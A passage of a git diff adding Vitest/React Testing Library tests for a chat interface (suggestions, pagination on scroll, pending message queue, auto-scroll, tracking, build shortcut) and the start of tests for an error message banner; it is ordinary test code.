+ useTracking: () => ({
+ trackInitialQuerySubmitted: trackInitialQuerySubmittedMock,
+ trackUserMessageSent: trackUserMessageSentMock,
+ }),
+}));
+
+// Helper function to render with Router context
+const renderChatInterfaceWithRouter = () =>
+ renderWithProviders(
+
+
+ ,
+ );
+
+// Helper function to render with QueryClientProvider and Router (for newer tests)
+const renderWithQueryClient = (
+ ui: React.ReactElement,
+ queryClient: QueryClient,
+ route = "/test-conversation-id",
+) =>
+ render(
+
+
+
+
+
+
+
+ ,
+ );
+
+beforeEach(() => {
+ useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" });
+ vi.mocked(useConversationId).mockReturnValue({
+ conversationId: "test-conversation-id",
+ });
+ vi.mocked(useOptionalConversationId).mockReturnValue({
+ conversationId: "test-conversation-id",
+ });
+ vi.mocked(useTaskPolling).mockReturnValue({
+ isTask: false,
+ taskId: null,
+ conversationId: "test-conversation-id",
+ task: undefined,
+ taskStatus: undefined,
+ taskDetail: undefined,
+ taskError: null,
+ isLoadingTask: false,
+ repositoryInfo: {
+ selectedRepository: undefined,
+ selectedBranch: undefined,
+ gitProvider: undefined,
+ },
+ });
+ // Default: pagination disabled (hasMore=false) so unrelated tests don't
+ // accidentally trigger loadOlder via the on-mount auto-trigger effect.
+ // Tests that exercise pagination override this.
+ vi.mocked(useLoadOlderEvents).mockReturnValue({
+ isLoading: false,
+ hasMore: false,
+ loadOlder: vi.fn().mockResolvedValue(undefined),
+ });
+});
+
+describe("ChatInterface - Chat Suggestions", () => {
+ // Create a new QueryClient for each test
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ queryClient = new QueryClient({
+ defaultOptions: {
+ queries: {
+ retry: false,
+ },
+ },
+ });
+
+ vi.mocked(useTaskPolling).mockReturnValue({
+ isTask: false,
+ taskId: null,
+ conversationId: "test-conversation-id",
+ task: undefined,
+ taskStatus: undefined,
+ taskDetail: undefined,
+ taskError: null,
+ isLoadingTask: false,
+ repositoryInfo: {
+ selectedRepository: undefined,
+ selectedBranch: undefined,
+ gitProvider: undefined,
+ },
+ });
+
+ useOptimisticUserMessageStore.setState({
+ pendingMessages: [],
+ });
+
+ useErrorMessageStore.setState({
+ errorMessage: null,
+ });
+
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+ });
+
+ test("should hide chat suggestions when there is a user message", () => {
+ const mockUserEvent: MessageEvent = {
+ id: "msg-1",
+ timestamp: "2025-07-01T00:00:00Z",
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "Hello" }],
+ },
+ activated_skills: [],
+ extended_content: [],
+ };
+
+ useEventStore.setState({
+ events: [mockUserEvent],
+ eventIds: new Set(["msg-1"]),
+ uiEvents: [mockUserEvent],
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // Check if ChatSuggestions is not rendered with user events
+ expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+ });
+
+ test("should hide chat suggestions when there is an optimistic user message", () => {
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: "test-conversation-id",
+ text: "Optimistic message",
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // Check if ChatSuggestions is not rendered with optimistic user message
+ expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+ });
+
+ test("should hide chat suggestions while a cloud start task is provisioning", () => {
+ vi.mocked(useTaskPolling).mockReturnValue({
+ isTask: true,
+ taskId: "abc",
+ conversationId: null,
+ task: undefined,
+ taskStatus: "WORKING",
+ taskDetail: undefined,
+ taskError: null,
+ isLoadingTask: false,
+ repositoryInfo: {
+ selectedRepository: undefined,
+ selectedBranch: undefined,
+ gitProvider: undefined,
+ },
+ });
+
+ renderWithQueryClient( , queryClient, "/task-abc");
+
+ expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+ });
+
+ test("should hide chat suggestions on a task route even when the task is READY", () => {
+ vi.mocked(useTaskPolling).mockReturnValue({
+ isTask: true,
+ taskId: "abc",
+ conversationId: null,
+ task: undefined,
+ taskStatus: "READY",
+ taskDetail: undefined,
+ taskError: null,
+ isLoadingTask: false,
+ repositoryInfo: {
+ selectedRepository: undefined,
+ selectedBranch: undefined,
+ gitProvider: undefined,
+ },
+ });
+
+ renderWithQueryClient( , queryClient, "/task-abc");
+
+ expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+ });
+});
+
+describe("ChatInterface - Empty state", () => {
+ it.todo("should render suggestions if empty");
+
+ it("should render the default suggestions", () => {
+ renderChatInterfaceWithRouter();
+
+ const suggestions = screen.getByTestId("chat-suggestions");
+ const repoSuggestions = Object.keys(SUGGESTIONS.repo);
+
+ // check that there are at most 4 suggestions displayed
+ const displayedSuggestions = within(suggestions).getAllByRole("button");
+ expect(displayedSuggestions.length).toBeLessThanOrEqual(4);
+
+ // Check that each displayed suggestion is one of the repo suggestions
+ displayedSuggestions.forEach((suggestion) => {
+ expect(repoSuggestions).toContain(suggestion.textContent);
+ });
+ });
+});
+
+describe("ChatInterface - Scroll-up loads older events", () => {
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useErrorMessageStore.setState({ errorMessage: null });
+
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi.fn(),
+ isLoading: false,
+ });
+ });
+
+ afterEach(() => {
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ });
+ vi.clearAllMocks();
+ });
+
+ // Helper: install a controllable mock of useLoadOlderEvents and seed the
+ // store with one renderable user message so the chat mounts a scroll area.
+ const setupPaginationTest = () => {
+ const loadOlder = vi.fn().mockResolvedValue(undefined);
+ vi.mocked(useLoadOlderEvents).mockReturnValue({
+ isLoading: false,
+ hasMore: true,
+ loadOlder,
+ });
+ const seedEvent: MessageEvent = {
+ id: "msg-seed",
+ timestamp: "2025-07-01T00:00:00Z",
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "Existing message" }],
+ },
+ activated_skills: [],
+ extended_content: [],
+ };
+ useEventStore.setState({
+ events: [seedEvent],
+ eventIds: new Set(["msg-seed"]),
+ uiEvents: [seedEvent],
+ });
+ return loadOlder;
+ };
+
+ // The auto-scroll-to-bottom hook schedules a rAF that does
+ // `dom.scrollTop = dom.scrollHeight`, which clobbers any value we set
+ // here before the test's event fires. Pin `scrollTop` as a stable
+ // getter so those assignments are no-ops.
+ const setScrollMetrics = (
+ el: HTMLElement,
+ metrics: { scrollTop: number; scrollHeight: number; clientHeight: number },
+ ) => {
+ Object.defineProperty(el, "scrollTop", {
+ configurable: true,
+ get: () => metrics.scrollTop,
+ set: () => {
+ /* swallow assignments from auto-scroll-to-bottom */
+ },
+ });
+ Object.defineProperty(el, "scrollHeight", {
+ configurable: true,
+ writable: true,
+ value: metrics.scrollHeight,
+ });
+ Object.defineProperty(el, "clientHeight", {
+ configurable: true,
+ writable: true,
+ value: metrics.clientHeight,
+ });
+ };
+
+ it("calls loadOlder when the user scrolls near the top", async () => {
+ const loadOlder = setupPaginationTest();
+ renderWithQueryClient( , queryClient);
+
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ // Pretend the user just scrolled near the top of an overflowing list.
+ setScrollMetrics(scrollContainer!, {
+ scrollTop: 0,
+ scrollHeight: 5000,
+ clientHeight: 800,
+ });
+ // Drop any on-mount auto-trigger so we exclusively assert the scroll path.
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+ loadOlder.mockClear();
+
+ fireEvent.scroll(scrollContainer!);
+
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+
+ expect(loadOlder).toHaveBeenCalledTimes(1);
+ });
+
+ it("auto-loads older events when the chat content does not overflow the viewport", async () => {
+ // No overflow ⇒ no scrollbar ⇒ user can't trigger loadOlder by
+ // scrolling. The component must auto-trigger via useEffect.
+ const loadOlder = setupPaginationTest();
+ renderWithQueryClient( , queryClient);
+
+ // Allow the on-mount auto-trigger useEffect to fire.
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+
+ expect(loadOlder).toHaveBeenCalled();
+ });
+
+ it("loads older events when the user wheels up while pinned at scrollTop=0", async () => {
+ // Overscroll-at-top: scrollTop is already 0 so the browser does not
+ // dispatch a scroll event. Wheel handler must catch this.
+ const loadOlder = setupPaginationTest();
+ renderWithQueryClient( , queryClient);
+
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ // Plenty of scrollable content overhead so the no-overflow branch
+ // doesn't claim the call — we want to exercise the wheel path.
+ setScrollMetrics(scrollContainer!, {
+ scrollTop: 0,
+ scrollHeight: 10000,
+ clientHeight: 800,
+ });
+
+ // Let any on-mount auto-trigger settle.
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+ loadOlder.mockClear();
+
+ // User is pinned at the top and wheels upward — no scroll event
+ // would fire here in a real browser.
+ fireEvent.wheel(scrollContainer!, { deltaY: -100 });
+
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+
+ expect(loadOlder).toHaveBeenCalledTimes(1);
+ });
+
+ it("shows an error banner if loading older events fails", async () => {
+ // This test exercises the real useLoadOlderEvents (so a rejected
+ // searchEvents propagates through to the chat's error banner).
+ // Override the global mock with the actual implementation.
+ const actualLoadOlderModule = await vi.importActual<
+ typeof import("#/hooks/use-load-older-events")
+ >("#/hooks/use-load-older-events");
+ vi.mocked(useLoadOlderEvents).mockImplementation(
+ actualLoadOlderModule.useLoadOlderEvents,
+ );
+
+ const seedEvent: MessageEvent = {
+ id: "msg-seed",
+ timestamp: "2025-07-01T00:00:00Z",
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "Existing message" }],
+ },
+ activated_skills: [],
+ extended_content: [],
+ };
+ useEventStore.setState({
+ events: [seedEvent],
+ eventIds: new Set(["msg-seed"]),
+ uiEvents: [seedEvent],
+ });
+
+ const useUserConversationModule =
+ await import("#/hooks/query/use-user-conversation");
+ vi.spyOn(useUserConversationModule, "useUserConversation").mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ conversation_url: "https://example.com",
+ session_api_key: "k",
+ conversation_version: "V1",
+ },
+ isLoading: false,
+ isPending: false,
+ isError: false,
+ error: null,
+ refetch: vi.fn(),
+ } as unknown as ReturnType<
+ typeof useUserConversationModule.useUserConversation
+ >);
+
+ const eventServiceModule =
+ await import("#/api/event-service/event-service.api");
+ vi.spyOn(eventServiceModule.default, "searchEvents").mockRejectedValue(
+ new Error("Older events request failed"),
+ );
+
+ renderWithQueryClient( , queryClient);
+
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ Object.defineProperty(scrollContainer!, "scrollTop", {
+ configurable: true,
+ writable: true,
+ value: 0,
+ });
+ Object.defineProperty(scrollContainer!, "scrollHeight", {
+ configurable: true,
+ writable: true,
+ value: 5000,
+ });
+
+ scrollContainer!.dispatchEvent(new Event("scroll", { bubbles: true }));
+
+ expect(
+ await screen.findByText("Older events request failed"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders renderable agent events even when the loaded window has no user message (so the user has something to scroll up from)", () => {
+ // Simulate the lazy-loaded "50 most recent" window landing in the
+ // store with only agent / environment events — the original user
+ // prompt is older than this window.
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
+ const agentAction: any = {
+ id: "act-1",
+ timestamp: "2025-07-01T00:00:10Z",
+ source: "agent",
+ kind: "ActionEvent",
+ action: {
+ kind: "ExecuteBashAction",
+ command: "ls",
+ },
+ tool_name: "terminal",
+ tool_call_id: "call-1",
+ tool_call: {
+ id: "call-1",
+ name: "terminal",
+ arguments: { command: "ls" },
+ },
+ llm_response_id: "resp-1",
+ thought: [],
+ reasoning_content: "",
+ thinking_blocks: [],
+ };
+
+ useEventStore.setState({
+ events: [agentAction],
+ eventIds: new Set(["act-1"]),
+ uiEvents: [agentAction],
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // The scroll container exists (so the user can scroll up to load older).
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ // ChatSuggestions should NOT take over the chat area when agent
+ // actions are present in the loaded window.
+ expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+
+ // The Messages list should be rendered (the bug was that it was
+ // gated on `conversationUserEventsExist` and stayed hidden here,
+ // leaving a blank chat with nothing to scroll).
+ expect(scrollContainer!.children.length).toBeGreaterThan(0);
+ });
+});
+
+describe("ChatInterface - Pending message queue", () => {
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ mockSend.mockReset();
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useErrorMessageStore.setState({ errorMessage: null });
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ });
+ });
+
+ afterEach(() => {
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ });
+
+ function submitMessage(text: string) {
+ // The chat input is a contenteditable div; the conversation store exposes
+ // `submittedMessage` which CustomChatInput watches and forwards to the
+ // ChatInterface's `onSubmit` handler. Driving that store directly is the
+ // most reliable way to simulate "the user pressed send" in jsdom.
+ act(() => {
+ useConversationStore.setState({ submittedMessage: text });
+ });
+ }
+
+ function renderInterface() {
+ render(
+
+
+
+ } />
+
+
+ ,
+ );
+ }
+
+ it("shows the message in 'sending' state immediately when submitted", async () => {
+ let resolveSend: ((value: unknown) => void) | undefined;
+ mockSend.mockImplementation(
+ () =>
+ new Promise((resolve) => {
+ resolveSend = resolve;
+ }),
+ );
+
+ renderInterface();
+ submitMessage("hello world");
+
+ const pendingMessage = await screen.findByTestId("user-message");
+ expect(pendingMessage).toHaveTextContent("hello world");
+ expect(pendingMessage).toHaveAttribute("data-pending-status", "sending");
+ expect(screen.getByTestId("chat-message-sending")).toBeInTheDocument();
+ expect(screen.queryByTestId("chat-message-retry")).not.toBeInTheDocument();
+
+ resolveSend?.({ queued: false });
+ });
+
+ it("flips the message to 'error' with a retry link when send rejects", async () => {
+ mockSend.mockRejectedValue(new Error("network down"));
+
+ renderInterface();
+ submitMessage("hello");
+
+ await waitFor(() => {
+ expect(screen.getByTestId("user-message")).toHaveAttribute(
+ "data-pending-status",
+ "error",
+ );
+ });
+ expect(screen.getByTestId("chat-message-error")).toBeInTheDocument();
+ expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument();
+ });
+
+ it("queues multiple submitted messages, each with its own pending entry", async () => {
+ mockSend.mockResolvedValue({ queued: false });
+
+ renderInterface();
+ submitMessage("first");
+ submitMessage("second");
+
+ await waitFor(() => {
+ expect(screen.getAllByTestId("user-message")).toHaveLength(2);
+ });
+ const messages = screen.getAllByTestId("user-message");
+ expect(messages[0]).toHaveTextContent("first");
+ expect(messages[1]).toHaveTextContent("second");
+ });
+});
+
+describe("ChatInterface - Auto-scroll on submit (issue #817)", () => {
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ mockSend.mockReset();
+ mockSend.mockResolvedValue({ queued: false });
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useErrorMessageStore.setState({ errorMessage: null });
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ });
+ });
+
+ afterEach(() => {
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ });
+
+ it("scrolls to bottom when a new prompt is submitted while the user is scrolled up", async () => {
+ // Arrange: render and grab the chat scroll container.
+ render(
+
+
+
+ } />
+
+
+ ,
+ );
+
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ // Let the mount-time auto-scroll rAF (which re-arms autoScroll=true)
+ // run and settle BEFORE the scroll-up sim. Otherwise that rAF would
+ // fire later and undo the autoScroll=false precondition for the bug.
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+
+ // Capture every scrollTop write so we can detect the rAF inside
+ // scrollDomToBottom landing `dom.scrollTop = dom.scrollHeight`.
+ const scrollWrites: number[] = [];
+ let scrollTopRead = 200;
+ Object.defineProperty(scrollContainer!, "scrollTop", {
+ configurable: true,
+ get: () => scrollTopRead,
+ set: (value: number) => {
+ scrollWrites.push(value);
+ },
+ });
+ Object.defineProperty(scrollContainer!, "scrollHeight", {
+ configurable: true,
+ writable: true,
+ value: 10000,
+ });
+ Object.defineProperty(scrollContainer!, "clientHeight", {
+ configurable: true,
+ writable: true,
+ value: 800,
+ });
+
+ // Simulate the user scrolling up: first event seeds prev=200, the
+ // second event at scrollTop=50 is detected as scrolling up and flips
+ // the hook's `autoScroll` to false (the precondition for the bug).
+ fireEvent.scroll(scrollContainer!);
+ scrollTopRead = 50;
+ fireEvent.scroll(scrollContainer!);
+ scrollWrites.length = 0;
+
+ // Act: submit a new prompt (same path InteractiveChatBox uses).
+ act(() => {
+ useConversationStore.setState({ submittedMessage: "hello" });
+ });
+
+ // Assert: scrollDomToBottom landed scrollHeight onto scrollTop even
+ // though autoScroll was off. Without the fix the auto-scroll effect
+ // would skip the call and `scrollWrites` would stay empty.
+ await waitFor(() => {
+ expect(scrollWrites).toContain(10000);
+ });
+ });
+
+ it("follows the live goal banner into view when an active goal advances", async () => {
+ vi.mocked(useOptionalConversationId).mockReturnValue({
+ conversationId: "test-conversation-id",
+ });
+ useGoalStore.setState({ statusByConversation: {} });
+
+ render(
+
+
+
+ } />
+
+
+ ,
+ );
+
+ const scrollContainer = document.querySelector(
+ "[data-testid='chat-scroll-container']",
+ ) as HTMLElement | null;
+ expect(scrollContainer).not.toBeNull();
+
+ // Let the mount-time auto-scroll settle; the user stays pinned to the
+ // bottom (autoScroll=true) since we never simulate a scroll-up.
+ await new Promise((r) => {
+ setTimeout(r, 0);
+ });
+
+ const scrollWrites: number[] = [];
+ Object.defineProperty(scrollContainer!, "scrollTop", {
+ configurable: true,
+ get: () => 9200,
+ set: (value: number) => {
+ scrollWrites.push(value);
+ },
+ });
+ Object.defineProperty(scrollContainer!, "scrollHeight", {
+ configurable: true,
+ writable: true,
+ value: 10000,
+ });
+ Object.defineProperty(scrollContainer!, "clientHeight", {
+ configurable: true,
+ writable: true,
+ value: 800,
+ });
+ scrollWrites.length = 0;
+
+ // Act: an in-progress goal advances — a store update only, with no change
+ // to `renderableEvents` (in-progress goal events are filtered out).
+ act(() => {
+ useGoalStore.getState().setStatus("test-conversation-id", {
+ active: true,
+ status: "running",
+ iteration: 1,
+ max_iterations: 10,
+ objective: "make pytest pass",
+ verdict: { score: 0.5, complete: false, missing: "needs tests" },
+ });
+ });
+
+ // Assert: the bottom-following effect scrolled the banner into view.
+ // Without wiring the active goal status into that effect, scrollWrites
+ // would stay empty.
+ await waitFor(() => {
+ expect(scrollWrites).toContain(10000);
+ });
+ });
+});
+
+describe("ChatInterface - Status Indicator", () => {
+ it("shows the unresolved terminal action while the agent is running", () => {
+ const terminalAction: ActionEvent = {
+ id: "action-running-terminal",
+ timestamp: "2026-07-27T18:00:00Z",
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "TerminalAction",
+ command: "git status",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "terminal",
+ tool_call_id: "tool-running-terminal",
+ tool_call: {
+ id: "tool-running-terminal",
+ type: "function",
+ function: {
+ name: "terminal",
+ arguments: '{"command":"git status"}',
+ },
+ },
+ llm_response_id: "response-running-terminal",
+ security_risk: SecurityRisk.LOW,
+ };
+ useEventStore.setState({
+ events: [terminalAction],
+ eventIds: new Set([terminalAction.id]),
+ uiEvents: [terminalAction],
+ });
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.RUNNING,
+ });
+
+ renderChatInterfaceWithRouter();
+
+ const chip = screen.getByTestId("live-activity-chip");
+ expect(chip).toHaveTextContent("ACTION_MESSAGE$RUN");
+ expect(chip.parentElement).toHaveClass("inset-x-9");
+ });
+
+ it("hides the live activity chip when the agent is no longer running", () => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.PAUSED,
+ });
+
+ renderChatInterfaceWithRouter();
+
+ expect(screen.queryByTestId("live-activity-chip")).not.toBeInTheDocument();
+ });
+
+ it("should render ChatStatusIndicator when agent is not awaiting user input / conversation is NOT ready", () => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.LOADING,
+ });
+
+ renderChatInterfaceWithRouter();
+
+ expect(screen.getByTestId("chat-status-indicator")).toBeInTheDocument();
+ });
+
+ it("should NOT render ChatStatusIndicator when agent is awaiting user input / conversation is ready", () => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.AWAITING_USER_INPUT,
+ });
+
+ renderChatInterfaceWithRouter();
+
+ expect(
+ screen.queryByTestId("chat-status-indicator"),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("ChatInterface - Tracking", () => {
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ mockSend.mockResolvedValue({ queued: false });
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useErrorMessageStore.setState({ errorMessage: null });
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+ useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] });
+ });
+
+ function renderInterface() {
+ render(
+
+
+
+ } />
+
+
+ ,
+ );
+ }
+
+ it("calls trackInitialQuerySubmitted when the first message is sent (empty conversation)", async () => {
+ renderInterface();
+
+ act(() => {
+ useConversationStore.setState({ submittedMessage: "my first task" });
+ });
+
+ await waitFor(() => {
+ expect(trackInitialQuerySubmittedMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ queryCharacterLength: "my first task".length,
+ }),
+ );
+ });
+ });
+
+ it("calls trackUserMessageSent when a follow-up message is sent (non-empty conversation)", async () => {
+ // totalEvents = uiEvents.filter(shouldRenderAgentServerEvent).length.
+ // A MessageEvent (has llm_message.role + content) passes that filter,
+ // so seeding uiEvents with one makes totalEvents = 1.
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [
+ {
+ id: "e1",
+ source: "user",
+ llm_message: { role: "user", content: "prior message" },
+ } as never,
+ ],
+ });
+
+ renderInterface();
+
+ act(() => {
+ useConversationStore.setState({ submittedMessage: "follow-up" });
+ });
+
+ await waitFor(() => {
+ expect(trackUserMessageSentMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ currentMessageLength: "follow-up".length,
+ }),
+ );
+ });
+ expect(trackInitialQuerySubmittedMock).not.toHaveBeenCalled();
+ });
+});
+
+describe("ChatInterface - Build plan keyboard shortcut", () => {
+ let queryClient: QueryClient;
+
+ const BUILD_PROMPT =
+ "Execute the plan based on the .agents_tmp/PLAN.md file.";
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ mockSend.mockResolvedValue({ queued: false });
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useErrorMessageStore.setState({ errorMessage: null });
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: {},
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+ useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] });
+ });
+
+ function renderInterface() {
+ render(
+
+
+
+ } />
+
+
+ ,
+ );
+ }
+
+ const pressBuildShortcut = () => {
+ fireEvent.keyDown(document, { key: "Enter", metaKey: true });
+ fireEvent.keyDown(document, { key: "Enter", ctrlKey: true });
+ };
+
+ const sentBuildPrompt = () =>
+ mockSend.mock.calls.some(([message]) =>
+ JSON.stringify(message).includes(BUILD_PROMPT),
+ );
+
+ it("does not send the build prompt in code mode", () => {
+ act(() => {
+ useConversationStore.setState({
+ conversationMode: "code",
+ planContent: null,
+ });
+ });
+
+ renderInterface();
+ pressBuildShortcut();
+
+ expect(sentBuildPrompt()).toBe(false);
+ });
+
+ it("does not send the build prompt in code mode when a plan exists", () => {
+ act(() => {
+ useConversationStore.setState({
+ conversationMode: "code",
+ planContent: "# Plan\n\n- step one",
+ });
+ });
+
+ renderInterface();
+ pressBuildShortcut();
+
+ expect(sentBuildPrompt()).toBe(false);
+ });
+
+ it("does not send the build prompt in plan mode when no plan exists", () => {
+ act(() => {
+ useConversationStore.setState({
+ conversationMode: "plan",
+ planContent: null,
+ });
+ });
+
+ renderInterface();
+ pressBuildShortcut();
+
+ expect(sentBuildPrompt()).toBe(false);
+ });
+
+ it("sends the build prompt in plan mode when a plan exists", async () => {
+ act(() => {
+ useConversationStore.setState({
+ conversationMode: "plan",
+ planContent: "# Plan\n\n- step one",
+ });
+ });
+
+ renderInterface();
+ fireEvent.keyDown(document, { key: "Enter", metaKey: true });
+
+ await waitFor(() => {
+ expect(sentBuildPrompt()).toBe(true);
+ });
+ });
+});
diff --git a/__tests__/components/chat/error-message-banner.test.tsx b/__tests__/components/chat/error-message-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ede61424753038ffb1d9baf44010b47e8dbdf963
--- /dev/null
+++ b/__tests__/components/chat/error-message-banner.test.tsx
@@ -0,0 +1,214 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { ErrorMessageBanner } from "#/components/features/chat/error-message-banner";
+
+const toastMocks = vi.hoisted(() => ({
+ displayErrorToast: vi.fn(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displayErrorToast: toastMocks.displayErrorToast,
+}));
+
+describe("ErrorMessageBanner", () => {
+ afterEach(() => {
+ vi.restoreAllMocks();
+ toastMocks.displayErrorToast.mockClear();
+ });
+
+ it("calls onDismiss when the close button is clicked", async () => {
+ const user = userEvent.setup();
+ const onDismiss = vi.fn();
+
+ render(
+ ,
+ );
+
+ await user.click(screen.getByTestId("error-message-banner-dismiss"));
+ expect(onDismiss).toHaveBeenCalledTimes(1);
+ });
+
+ it("calls onRetry when the retry button is clicked", async () => {
+ const user = userEvent.setup();
+ const onRetry = vi.fn();
+
+ render(
+ ,
+ );
+
+ await user.click(screen.getByTestId("error-message-banner-retry"));
+ expect(onRetry).toHaveBeenCalledTimes(1);
+ });
+
+ it("shows a red error icon beside the message", () => {
+ render( );
+
+ const icon = screen.getByTestId("error-message-banner-icon");
+ expect(icon).toHaveStyle({ color: "var(--oh-status-error)" });
+ });
+
+ it("uses a warning icon for non-internal outcomes", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("warning-message-banner-icon")).toHaveClass(
+ "text-[var(--oh-warning)]",
+ );
+ });
+
+ it("uses the error icon for internal outcomes", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("error-message-banner-icon")).toHaveStyle({
+ color: "var(--oh-status-error)",
+ });
+ });
+
+ it("uses the error icon for unknown (diagnostic) outcomes", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("error-message-banner-icon")).toHaveStyle({
+ color: "var(--oh-status-error)",
+ });
+ });
+
+ it("uses greyscale theme tokens instead of red error styling", () => {
+ render( );
+
+ const banner = screen.getByTestId("error-message-banner");
+ expect(banner.className).toContain("border-[var(--oh-border)]");
+ expect(banner.className).toContain("bg-[var(--oh-surface-raised)]");
+ expect(banner.className).not.toContain("#FF0006");
+ expect(banner.className).not.toContain("#4A0709");
+ });
+
+ it("shows a View More / View Less toggle for long messages", async () => {
+ const user = userEvent.setup();
+ const longMessage = "a".repeat(400);
+
+ render( );
+
+ const toggle = screen.getByTestId("error-message-banner-toggle");
+ expect(toggle).toHaveTextContent("COMMON$VIEW_MORE");
+
+ await user.click(toggle);
+ expect(toggle).toHaveTextContent("COMMON$VIEW_LESS");
+ });
+
+ it("copies the full error message when the copy button is clicked", async () => {
+ const user = userEvent.setup();
